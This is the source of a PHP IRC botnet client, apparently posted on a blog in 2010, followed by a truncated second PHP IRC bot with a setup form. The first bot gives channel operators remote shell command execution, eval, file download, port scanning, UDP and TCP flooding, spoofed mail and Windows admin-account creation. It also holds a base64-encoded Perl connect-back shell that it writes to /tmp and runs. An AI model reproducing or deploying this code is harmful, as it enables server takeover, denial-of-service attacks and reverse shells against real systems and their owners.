var $users = array();
function start()
{
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
$this->start();
$ident = $this->config['prefix'];
$alph = range("0","9");
for($i=0;$i<$this->config['maxrand'];$i++)
$ident .= $alph[rand(0,9)];
if(strlen($this->config['pass'])>0)
$this->send("PASS ".$this->config['pass']);
$this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
$this->set_nick();
$this->main();
}
######################################################
function main()
{
while(!feof($this->conn))
{
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :")
{
$this->send("PONG :".substr($this->buf,6));
}
if(isset($cmd[1]) && $cmd[1] =="001")
{
$this->send("MODE ".$this->nick." ".$this->config['modes']);
$this->join($this->config['chan'],$this->config['key']);
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "ON"; }
else { $safemode = "OFF"; }
$uname = php_uname();
$this->notice($this->config['chan2'],"[\2command\2]: ketik .help untuk command bot : comand hanya berjalan untuk admin bot");
}
if(isset($cmd[1]) && $cmd[1]=="433")
{
$this->set_nick();
}
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick)
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i+1];
}
else
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i];
}
if(count($cmd)>2)
{
switch($cmd[1])
{
case "QUIT":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
#########################################################################
case "PART":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
#########################################################################
case "PRIVMSG":
if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "login":
if($mcmd[1]==$this->config['password'])
{
$this->privmsg($this->config['chan'],"[\2Auth\2]: siap komandan $nick !!");
$this->log_in($host);
}
else
{
$this->privmsg($this->config['chan'],"[\2Auth\2]: FUCK YOU $nick ");
}
break;
}
}
}
elseif($this->is_logged_in($host))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "reonline":
$this->send("QUIT : Reonline By $nick");
fclose($this->conn);
$this->start();
break;
#########################################################################
case "sendmail": //mail to from subject message
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config['chan'],"[\2mail\2]: Unable to Send E-mail.");
}
else
{
$this->privmsg($this->config['chan'],"[\2mail\2]: Mail Send to \2".$mcmd[1]."\2");
}
}
break;
#########################################################################
case "safe":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = "on";
}
else {
$safemode = "off";
}
$this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode."");
break;
#########################################################################
case "inbox": //teste inbox
if(isset($mcmd[1]))
{
$token = md5(uniqid(rand(), true));
$header = "From: <inbox".$token."@jatimcom.us>";
$a = php_uname();
$b = getenv("SERVER_SOFTWARE");
$c = gethostbyname($_SERVER["HTTP_HOST"]);
if(!mail($mcmd[1],"InBox Test","#jatimcom since 2009\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\n\ngreetz: Vuln\nby: dvl <admin@jatimcom.us>",$header))
{
$this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send");
}
else
{
$this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");
}
}
break;
#########################################################################
case "conback":
if(count($mcmd)>2)
{
$this->conback($mcmd[1],$mcmd[2]);
}
break;
#########################################################################
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
#########################################################################
case "info":
case "vunl":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->notice($this->config['chan'],"Dont Forget To Cek http://jatimcom.uni.cc/");
$this->notice($this->config['chan'],"Dont Forget To Cek http://jatimcom.uni.cc/");
$this->notice($this->config['chan'],"Dont Forget To Cek http://jatimcom.uni.cc/");
$this->notice($this->config['chan'],"Dont Forget To Cek http://jatimcom.uni.cc/");
$this->notice($this->config['chan'],"Dont Forget To Cek http://jatimcom.uni.cc/");
break;
#########################################################################
case "myinfo":
case "vunl":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->privmsg($this->config['chan'],"Dont Forget To Cek http://jatimcom.uni.cc/");
$this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
$this->privmsg($this->config['chan'],"[\2vuln\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
break;
#########################################################################
case "bot":
$this->privmsg($this->config['chan'],"[\2bot\2]: PHPBOT 1.0 By Jcomers.");
break;
#########################################################################
case "uname":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
break;
#########################################################################
case "rndnick":
$this->set_nick();
break;
#########################################################################
case "raw":
$this->send(strstr($msg,$mcmd[1]));
break;
#########################################################################
case "eval":
$eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
break;
#########################################################################
case "sexec":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = shell_exec($command);
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
#########################################################################
case "exec":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = exec($command);
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
#########################################################################
case "passthru":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = passthru($command);
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
#########################################################################
case "popen":
if(isset($mcmd[1]))
{
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$this->privmsg($this->config['chan'],"[\2popen\2]: $command");
$pipe = popen($command,"r");
while(!feof($pipe))
{
$pbuf = trim(fgets($pipe,512));
if($pbuf != NULL)
$this->privmsg($this->config['chan']," : $pbuf");
}
pclose($pipe);
}
#########################################################################
case "system":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = system($command);
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
#########################################################################
case "pscan": // .pscan 127.0.0.1 6667
if(count($mcmd) > 2)
{
if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
$this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
else
$this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
}
break;
#########################################################################
case "download":
if(count($mcmd) > 2)
{
if(!$fp = fopen($mcmd[2],"w"))
{
$this->privmsg($this->config['chan'],"[\2download\2]:Could not download. Permission denied");
}
else
{
if(!$get = file($mcmd[1]))
{
$this->privmsg($this->config['chan'],"[\2download\2]: Could not download \2".$mcmd[1]."\2");
}
else
{
for($i=0;$i<=count($get);$i++)
{
fwrite($fp,$get[$i]);
}
$this->privmsg($this->config['chan'],"[\2download\2]: File \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2");
}
fclose($fp);
}
}
else { $this->privmsg($this->config['chan'],"[\2download\2]: use download http://your.host/file /tmp/file"); }
break;
#########################################################################
case "help":
$this->privmsg($this->config['chan'],"[\2help\2]: 15[ 7BOT COMMANDS 15] 08");
$this->privmsg($this->config['chan'],"[\2help\2]: .login");
$this->privmsg($this->config['chan'],"[\2help\2]: .uname untuk info Operating system");
$this->privmsg($this->config['chan'],"[\2help\2]: .exec <cmd> untuk perintah yang berjalan pada sistem OS bot");
$this->privmsg($this->config['chan'],"[\2help\2]: .sexec <cmd> untuk perintah yang berjalan pada sistem OS bot");
$this->privmsg($this->config['chan'],"[\2help\2]: .cmd <cmd> untuk perintah yang berjalan pada sistem OS bot");
$this->privmsg($this->config['chan'],"[\2help\2]: .raw <cmd> untuk menjalankan perintah2 di irc");
$this->privmsg($this->config['chan'],"[\2help\2]: .sendmail <to> <from> <subject> <msg> untuk kirim email");
$this->privmsg($this->config['chan'],"[\2help\2]: .restart untuk restart bot");
$this->privmsg($this->config['chan'],"[\2help\2]: .dead untuk kill me");
$this->privmsg($this->config['chan'],"[\2help\2]: .udpflood <target> <packets> <packetsize> <delay> untuk flood udp suatu jaringan");
$this->privmsg($this->config['chan'],"[\2help\2]: .tcpflood <target> <packets> <packetsize> <port> <delay> untuk flood port jaringan");
$this->privmsg($this->config['chan'],"[\2help\2]: .pscan <host> <port> untuk scan port");
$this->privmsg($this->config['chan'],"[\2help\2]: .dns <hostname> untuk looking dns");
$this->privmsg($this->config['chan'],"[\2help\2]: .download <URL> <filename> untuk download file");
$this->privmsg($this->config['chan'],"[\2help\2]: .conback untuk membuat back ke host");
$this->privmsg($this->config['chan'],"[\2help\2]: .rndnick untuk ganti nick bot");
$this->privmsg($this->config['chan'],"[\2help\2]: .logout");
$this->privmsg($this->config['chan'],"[\2help\2]: 15[ 7RDP COMMANDS FOR WINDOWServ Only 15] 08");
$this->privmsg($this->config['chan'],"[\2help\2]: .sexec <hostname> untuk melihat host");
$this->privmsg($this->config['chan'],"[\2help\2]: .sexec <net user> untuk melihat user list");
$this->privmsg($this->config['chan'],"[\2help\2]: .sexec <net user name password /add> untuk menambah user acount");
$this->privmsg($this->config['chan'],"[\2help\2]: .sexec <net localgroup administrators Useracount /add> untuk menambahkan user ke localgroup administrators");
$this->privmsg($this->config['chan'],"[\2help\2]: .sexec <net user username /delete> untuk menghapus user acount");
$this->privmsg($this->config['chan'],"[\2help\2]: .sexec <ipconfig or ipconfig/all> untuk melihat ip computer");
$this->privmsg($this->config['chan'],"[\2help\2]: Copyright J.ComErS April 2009");
$this->privmsg($this->config['chan'],"[\2help\2]: Selamat mencoba ^_^");
break;
#########################################################################
case "dead":
$this->send("QUIT :Quit And Not Back, Command From $nick");
fclose($this->conn);
exit;
case "logout":
$this->log_out($host);
$this->privmsg($this->config['chan'],"[\2auth\2]: $nick Logout!");
break;
#########################################################################
case "udpflood":
if(count($mcmd)>3)
{
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
}
break;
#########################################################################
case "tcpflood":
if(count($mcmd)>5)
{
$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
}
break;
}
}
}
break;
}
}
}
$old_buf = $this->buf;
}
$this->start();
}
function send($msg)
{
fwrite($this->conn,"$msg\r\n");

}
function join($chan,$key=NULL)
{
$this->send("JOIN $chan $key");
}
function privmsg($to,$msg)
{
$this->send("PRIVMSG $to :$msg");
}
function notice($to,$msg)
{
$this->send("NOTICE $to :$msg");
}
function is_logged_in($host)
{
if(isset($this->users[$host]))
return 1;
else
return 0;
}
function log_in($host)
{
$this->users[$host] = true;
}
function log_out($host)
{
unset($this->users[$host]);
}
function set_nick()
{
if(isset($_SERVER['SERVER_SOFTWARE']))
{
if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
$this->nick = "A";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
$this->nick = "I";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
$this->nick = "X";
else
$this->nick = "U";
}
else
{
$this->nick = "C";
}
$this->nick .= $this->config['prefix'];
for($i=0;$i<$this->config['maxrand'];$i++)
$this->nick .= mt_rand(0,9);
$this->send("NICK ".$this->nick);
}
#########################################################################
function udpflood($host,$packetsize,$time) {
$this->privmsg($this->config['chan'],"[\2Lock Target!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
$timei = time();
$i = 0;
while(time()-$timei < $time) {
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],"[\2Packet Finish!\2]: $env MB Send / Media: $vel MB/s ");
}
#########################################################################
function tcpflood($host,$packets,$packetsize,$port,$delay)
{
$this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++)
$packet .= chr(mt_rand(1,256));
for($i=0;$i<$packets;$i++)
{
if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
{
$this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
return 0;
}
else
{
fwrite($fp,$packet);
fclose($fp);
}
sleep($delay);
}
$this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets packages for $host:$port.");
}
#########################################################################
function conback($ip,$port)
{
$this->privmsg($this->config['chan'],"[\2conback\2]: trying connecting to $ip:$port");
$dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypminggatR1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
if (is_writable("/tmp"))
{
if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
$fp=fopen("/tmp/dc.pl","w");
fwrite($fp,base64_decode($dc_source));
passthru("perl /tmp/dc.pl $ip $port &");
unlink("/tmp/dc.pl");
}
else
{
if (is_writable("/var/tmp"))
{
if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); }
$fp=fopen("/var/tmp/dc.pl","w");
fwrite($fp,base64_decode($dc_source));
passthru("perl /var/tmp/dc.pl $ip $port &");
unlink("/var/tmp/dc.pl");
}
if (is_writable("."))
{
if (file_exists("dc.pl")) { unlink("dc.pl"); }
$fp=fopen("dc.pl","w");
fwrite($fp,base64_decode($dc_source));
passthru("perl dc.pl $ip $port &");
unlink("dc.pl");
}
}
}
}
#########################################################################
$bot = new pBot;
$bot->start();
##########################
##[ Jatim Community ]##
##########################
?>

Script Bot Php 2

2010-01-06T02:55:00.000-08:00

<?php
//session_start();
$ArrayList = array("_GET", "_POST");
foreach($ArrayList as $gblArray) {
$keys = array_keys($$gblArray);
foreach($keys as $key) {
@$$key = trim(${$gblArray}[$key]);
}
}

if (!$load) {
?>
<SCRIPT>
function Status() {
nick = sz.nick.value; BOT_PASSWORD = sz.BOT_PASSWORD.value;
username = sz.username.value; channels = sz.channels.value;
Admin = sz.Admin.value;
remotehost = sz.remotehost.value; port = sz.port.value;
document.frames(0).document.writeln("<body bgcolor=#000000 text=#C0C0C0><small>");
setTimeout('document.frames(0).document.writeln("== BotNick : <b>"+nick+"</b><br>"); document.frames(0).window.scroll(0,600);',200);
setTimeout('document.frames(0).document.writeln("== Password : <b>"+BOT_PASSWORD+"</b><br>"); document.frames(0).window.scroll(0,600);',400);
setTimeout('document.frames(0).document.writeln("== Ident : <b>"+username+"</b><br>"); document.frames(0).window.scroll(0,600);',600);
setTimeout('document.frames(0).document.writeln("== Channels : <b>"+channels+"</b><br>"); document.frames(0).window.scroll(0,600);',800);
setTimeout('document.frames(0).document.writeln("== Admin : <b>"+Admin+"</b><br>"); document.frames(0).window.scroll(0,600);',1000);
setTimeout('document.frames(0).document.writeln("== Server : <b>"+remotehost+"</b> Port : <b>"+port+"</b><br>"); document.frames(0).window.scroll(0,600);',1200);
setTimeout('document.frames(0).document.writeln("<b>Connecting To "+remotehost+"</b>...<br></small></body>"); document.frames(0).window.scroll(0,600);',1400);
}
</SCRIPT>
<HTML>
<head>
<style>
td { font-size: 11px; font-family: tahoma,sans-serif }
A:link { text-decoration: none; color: #969696; }
A:visited { text-decoration: none; color: #969696; }
A:hover { color: #969696; text-decoration: underline; }
select { font-size: 11px; font-family: tahoma,sans-serif; BACKGROUND-COLOR: #FF9999; }
input { font-size: 11px; font-family: tahoma,sans-serif; BACKGROUND-COLOR: #FF9999; }
</style>
<title>Â«â�¢â�¡â�¢Â» JatimCom - PHP BoT Â«â�¢â�¡â�¢Â»</title>
</head>
<body bgcolor=#000000 text=#C0C0C0>
<center>
<b>Â«â�¢â�¡â�¢Â» Jatimcom Â«â�¢â�¡â�¢Â»</b>
<br>
<br>
<br>
<FORM name=sz METHOD=post target=status ACTION=<?php echo $PHP_SELF; ?>?load=2 onsubmit="setTimeout('Status()',14000);">
<table border=0>
<tr>
<td>Bot Nick :</td>
<td><INPUT TYPE="text" Value="JatimcomBot" NAME="nick" SIZE="22" MAXLENGTH="30"></td>
<td>Away Message :</td>
<td><INPUT TYPE="text" Value="Away Message" NAME="awaymsg" SIZE="22" MAXLENGTH="50"></td>
</tr>
<tr>
<td>Identify Nick :</td>
<td><INPUT TYPE="password" Value="jatimcom" NAME="identify" SIZE="22" MAXLENGTH="30"></td>
<td>Admin Nick :</td>
<td><INPUT TYPE="text" Value="jatimcom" NAME="Admin" SIZE="22" MAXLENGTH="25"></td>
</tr>
<tr>
<td>Password :</td>
<td><INPUT TYPE="password" Value="jatimcom" NAME="BOT_PASSWORD" SIZE="22" MAXLENGTH="25"></td>
<td>Channels :</td>
<td><INPUT TYPE="text" Value="#jatimcom" NAME="channels" SIZE="22" MAXLENGTH="50"></td>
</tr>
<tr>
<td>Identd :</td>
<td><INPUT TYPE="text" Value="JatimcomBot" NAME="username" SIZE="22" MAXLENGTH="25"></td>
<td>Server :</td>
<td><select SIZE="1" NAME="remotehost" V SIZE="20" MAXLENGTH=50">
<option selected value="irc.dal.net">irc.dal.net</option>
<option value="irc.byroe.net">irc.byroe.net</option>
<option value="irc.allnetwork.org">irc.allnetwork.org</option>
<option value="irc.mildnet.org">irc.mildnet.org</option>

</select>
<INPUT TYPE="text" Value="6667" NAME="port" SIZE="4" MAXLENGTH="4">
</td>
</tr>
<tr>
<td>Full Name :</td>
<td><INPUT TYPE="text" Value="Jatim Community" NAME="realname" SIZE="22" MAXLENGTH="50"></td>
<td>Keep Alive every:</td>
<td><INPUT TYPE="text" Value="0" NAME="keeptime" SIZE="2" MAXLENGTH="2"> Hours (0 to off)</td>
</tr>
</table><br>
<INPUT TYPE="submit" NAME="submit" VALUE="-=| Please Wait |=-">
</FORM>
<iframe src=<?php echo $PHP_SELF; ?>?load=1 width=40% height=80 frameborder=0 marginwidth=0 name=status>
Your browser does not support inline frames or is currently configured not to display inline frames.
</iframe>
<p align="center" style="font-size: 15px; font-family: tahoma,sans-serif;">Visit http://jatimcom.uni.cc/</p>
</BODY>
</HTML>
<?php
} elseif ($load==1) { print "<body bgcolor=#000000 text=#C0C0C0><center>"; print "<b>Jatim Community</b><br>"; exit; }
elseif ($load==2) {
if (!$remotehost) { $remotehost = "irc.dal.net"; }
$channels = str_replace("CNL","#",$channels);
print "<body bgcolor=#000000 text=#C0C0C0>";
print "<b>== Connecting to $remotehost...</b>";

$awaym=array(
"Making Babies",
"Making Dragon",
"Checking mail",
"hacking root",
"tetrinet is not lame",
"BaH!! NoT In",
"Hmmm Not Here",
"Auto-Away after 10 mins",
"DeaD",
"NaTure CaLLs :P brb",
"stomach ache ... im currently in the toilet",
"playstation rulez",
"phonecall",
"brb-a.s.a.p",
"surfing with the alien",
"hungry, exploring my fridge",
"sleep...nuff said",
"Definitely NOT here :P",
"Pretending to be Auto-Away",
"Checking shells",
"Make Love With Someone :P",
"NOT here, use email",
"NOT here, Guess where :P",
"Don`t Keep Me Waiting!",
"xixixixx.....",
"Call FBI if i dont comeback in 24 hours"
);
$cyclem=array(
"Auto Recycle!",
"Looking for Inviter!",
"In/Out!",
"Rehashing!",
"Refreshing!",
"Doing Cycle!",
"Inviter Suspect!",
"Looking for Suspect!",
"Regain Inviter!",
"Regain Suspect!",
"Recycle!",
"Cycle Needed!",
"Cycle all Channel!",
"Cycling!",
"Inviter Detected!",
"Full Cycle Ahead!",
"Going Out and Back!",
"I can do this all day!",
"Cycle Time!",
"I will do this all day!",
"Time to Kill!",
"No day without cycle!",
"yuhuu.. where are you?",
"It`s a good day to die!",
"Time for cycle!",
"License to Kill!",
"Cycle.. cycle.. and cycle..",
"I need suspect!",
"Need For Suspect!",
"Time`s up!",
"No way out!",
"No more left!",
"No regret for inviter!",
"Hot Pursuit!",
"Rule No.96: Cycle!",
"Critical Cycle!",
"Pursue Inviter Suspect!",
"baliemBot? PHP",
"Go To Cycle!",
"Cycle System Running!",
"Cycle Strike Back!",
"I need cycle now!"
);
$partm=array(
"Owner Request! Sorry :P",
"Ups! Wrong Channel!",
"Be Right Back!",
"No One Join Forever!",
"Damn! Wrong Channel!",
"Access Denied!",
"Back To Base!",
"Return To Base!",
"Access Rejected!",
"Going Back!",
"Ilegal Channel!",
"Going Home!",
"Good Bye!",
"Sayonara!",
"Ups! Wrong Room :P",
"Got To Go!",
"Goodbye! Ugly :P",
"Go To Hell!",
"Going Somewhere!",
"No Join Today!",
"It`s a bad day to join :P",
"Part Never Die!",
"Join Another Day!",
"License To Part!",
"Part time!",
"Time To Go!",
"Too many join channel :P",
"The Join is Not Enough!",
"Join too many channel :P",
"It`s time to Go!",
"It`s time to Part!",
"Part for now and Forever!",
"Part Forever!"
);
$querym=array(
"Hai nick, gimana kabarmu?",
"Hai nick, gimana kabarmu hari ini?",
"yup? ada apa nick?",
"ada apa nick?",
"Hai juga nick, asl pls..",
"hai juga nick",
"sori nick, aku lagi sibuk sekarang..",
"yup? nama kamu siapa nick?",
"apa aku kenal kamu nick?",
"yup nick? apa aku kenal kamu?",
"kamu siapa sech?",
"aku lagi tidak ditempat, bentar lagi balik koq..",
"kamu asli mana nih?",
"Hai juga nick..",
"yup nick, senang jumpa kamu..",
"senang kenalan ama kamu..",
"nama asli kamu siapa nick?",
"yup nick? asl pls..",
"aku lagi sibuk nih, bantuin dunk.."
);
$depan=array(
"honai-",
"baliem`",
"heker_",
"vaksin-",
"mayat_",
"sup3r`",
"suntiK-",
"pinang-",
"V4KsIn_",
"b4Li3m`"
);
$belakang=array(
"heker",
"h3k3r"
);
function get_content($url) {
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_HEADER, 0);
ob_start();
curl_exec ($ch);
curl_close ($ch);
$string = ob_get_contents();
ob_end_clean();
return $string;
}
function get_data($dbs,$dpn,$blk) {
$gd = stristr($dbs,$dpn);
$gd = substr($gd,strlen($dpn),strpos($gd,$blk)-strlen($dpn));
return $gd;
}
$smile = array(":)",":P",":E",":P~~",":D",":Q","8)","=)","=P","=D");
$raway = "off";
$log = "off";
$saway = "1";
$rberita = 1;

if (!$stime) { $stime = time(); }
if (!$keeptime || $keeptime==0 ) { $keeptime = "off"; }
if (!$port) { $port = "6666"; }
$Admin = strtolower($Admin);
$auth = array($Admin => array("name" => $Admin, "pass" => $BOT_PASSWORD, "auth" => 1,"status" => "Admin"));
function randchar($len = "8"){
$rchar = NULL;
for($i=0; $i<$len; $i++) {
$char = chr(rand(48,122));
while (!ereg("[a-zA-Z0-9]", $char)){
if($char == $lchar) continue;
$char = chr(rand(48,90));
}
$rchar .= $char;
$lchar = $char;
}
return $rchar;
}
if ($nick=="BaliemPHP1") { $nick = $depan[rand(0,count($depan) - 1)].$belakang[rand(0,count($belakang) - 1)]; }
if ($username=="BaliemPHP1" || !$username) { $username = randchar(3).$_SERVER['HTTP_HOST']; $username = str_replace('www.','',$username); $username = str_replace('.','',$username); $username = str_replace('http://','',$username); }
if ($awaymsg=="Away Message" || !$awaymsg) { $awaymsg = $awaym[rand(0,count($awaym) - 1)]; $raway = "on"; }
if ($realname=="BaliemPHP1" || !$realname) { $realname = $nick; }

$keluar = 0;
$akill = 1;
$katime = 0;
$localhost = 'localhost';
$dayload = date("H:i:s d/m/Y");
ini_set('user_agent','MSIE 5\.5;');
ini_set('allow_call_time_pass_reference','1');
set_time_limit(0);
define ('CRL', "\r\n");
$channels = strtolower($channels)." ";
$channel = explode(" ", $channels);

do {
$fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 30);
if(!$fp) {
print "<br><b>Cannot connect to $remotehost!<br>Please Try Another Server!</b>";
$keluar = 1;
exit;
}
print "<br><b>== Suceeded connection</b>";
$Header = 'NICK '.$nick . CRL;
$Header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL;
fputs($fp, $Header);

fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL);
if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); }

foreach ($channel as $v) {
fputs($fp, 'JOIN '.$v . CRL);
}
fputs($fp, 'PRIVMSG ' . $Admin . ' :This is your bot, Please Type: auth <your pass> To Authorized. Created on ' .$dayload . CRL);
if (!$awaymsg) { $awaymsg = "Owner By $Admin"; }
//fputs($fp, 'AWAY :Ã�Â«Ã�Â®Ã�Â¤[JATIMCOM]Ã�Â¤Ã�Â®Ã�Â» 7(6'.$awaymsg.'7)'. CRL);

$response = '';
while (!feof($fp)) {
$response .= fgets($fp, 1024);
while (substr_count($response,CRL) != 0) {
$offset = strpos($response, CRL);
$data = substr($response,0,$offset);
$response = substr($response,$offset+2);
if (substr($data,0,1) == ':') {
$offsetA = strpos($data, ' ');
$dFrom = substr($data,1,$offsetA-1);
$offsetB = strpos($data, ' :');
$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
$offsetC = strpos($data, '!');
$dNick = substr($data,1,$offsetC-1);
$iText = substr($data,$offsetB+2);
if (substr($dCommand,0,3)=='465') {
print "<br><b>== This bot have been autokilled.</b>";
$akill = 2;
}
elseif (substr($dCommand,0,3)=='433') {
$nick = $nick.randchar(4);
fputs($fp, 'NICK '.$nick . CRL);
}
elseif (substr($dCommand,0,3)=='432') {
$nick = $nick.randchar(4);
fputs($fp, 'NICK '.$nick . CRL);
fputs($fp, 'PRIVMSG nickserv@services.dal.net :RELEASE '.$nick.' '.$identify. CRL);
}
if (eregi('.dal.net',$dNick) && $akill==2) {
if (eregi('AKILL ID:',$data) || eregi('Your hostmask is',$data) || eregi('Your IP is',$data)) {
print "<br><b>".strstr($data,'***')." </b>";
if (eregi('Your IP is',$data)) {
$keluar = 1;
exit;
}
}
}
$taway = date("i");
if ($taway=="1" || $taway=="11" || $taway=="21" || $taway=="31" || $taway=="41" || $taway=="51") {
if ($taway!=$saway) {
$ctime = time();
$uptime = $ctime - $stime;
if ($uptime>=86400) {
$bagi = $uptime / 86400;
$hari = floor($bagi)."days ";
$sisa = $uptime - ($hari*86400);
$uptime = $sisa;
}
if ($uptime==0) { $jam = ""; $menit = ""; $detik = ""; }
elseif ($uptime>=3600) {
$bagi = $uptime / 3600;
$jam = floor($bagi)."hrs ";
$sisa = $uptime - ($jam*3600);
$uptime = $sisa;
